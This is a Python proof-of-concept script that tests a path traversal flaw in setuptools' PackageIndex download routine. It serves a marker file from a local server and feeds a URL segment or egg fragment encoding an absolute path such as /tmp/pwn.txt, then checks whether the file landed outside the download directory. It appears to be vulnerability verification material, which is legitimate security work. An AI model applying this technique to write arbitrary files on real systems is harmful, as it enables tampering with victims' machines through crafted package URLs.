import http.server
import socketserver
import threading
import os
import sys
import json
from urllib.parse import unquote

try:
    from setuptools.package_index import PackageIndex
    import setuptools
except Exception as e:
    print(json.dumps({"error": f"import_failed: {e}"}))
    sys.exit(0)

CONTENT = b"SETUPTOOLS_POC_CONTENT\n"

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        body = CONTENT
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)
    def log_message(self, fmt, *args):
        return


def main():
    # Inputs from env
    # Mode A (vuln trigger): set URL_SEGMENT to last path segment, e.g. %2Ftmp%2Fpwn.txt
    # Mode B (legacy): set EGG_NAME to place absolute path in fragment
    url_segment = os.environ.get("URL_SEGMENT")
    egg_name = os.environ.get("EGG_NAME")
    tmpdir = os.environ.get("TMPDIR_PATH", "/tmp/setuptools_tmpdl")
    os.makedirs(tmpdir, exist_ok=True)

    # Start server and get port
    r, w = os.pipe()
    def server_target():
        with socketserver.TCPServer(("127.0.0.1", 0), Handler) as httpd:
            os.write(w, str(httpd.server_address[1]).encode("ascii"))
            httpd.serve_forever()
    t = threading.Thread(target=server_target, daemon=True)
    t.start()
    port = int(os.read(r, 32).decode("ascii"))

    if url_segment:
        url = f"http://127.0.0.1:{port}/{url_segment}"
        expected_basis = unquote(url_segment)
    else:
        seg = "file.bin"
        url = f"http://127.0.0.1:{port}/{seg}"
        if egg_name:
            url += f"#egg={egg_name}"
        expected_basis = unquote(egg_name) if egg_name else seg

    result = {
        "setuptools_version": getattr(setuptools, "__version__", "unknown"),
        "url": url,
        "tmpdir": tmpdir,
        "expected_basis": expected_basis,
        "expected_abs_target": None,
        "expected_tmp_target": None,
        "downloaded_to": None,
        "abs_file_exists": False,
        "abs_file_content_matches": False,
        "tmp_file_exists": False,
        "tmp_file_content_matches": False,
        "exception": None,
    }

    if os.path.isabs(expected_basis):
        result["expected_abs_target"] = expected_basis
    else:
        result["expected_tmp_target"] = os.path.join(tmpdir, expected_basis)

    pi = PackageIndex()

    try:
        downloaded_path = pi._download_url(url, tmpdir)
        result["downloaded_to"] = downloaded_path
    except Exception as e:
        result["exception"] = f"{type(e).__name__}: {e}"

    # Check filesystem effects
    if result["expected_abs_target"]:
        p = result["expected_abs_target"]
        if os.path.exists(p):
            result["abs_file_exists"] = True
            try:
                result["abs_file_content_matches"] = (open(p, "rb").read() == CONTENT)
            except Exception:
                pass
    if result["expected_tmp_target"]:
        p = result["expected_tmp_target"]
        if os.path.exists(p):
            result["tmp_file_exists"] = True
            try:
                result["tmp_file_content_matches"] = (open(p, "rb").read() == CONTENT)
            except Exception:
                pass

    print(json.dumps(result))

if __name__ == "__main__":
    main()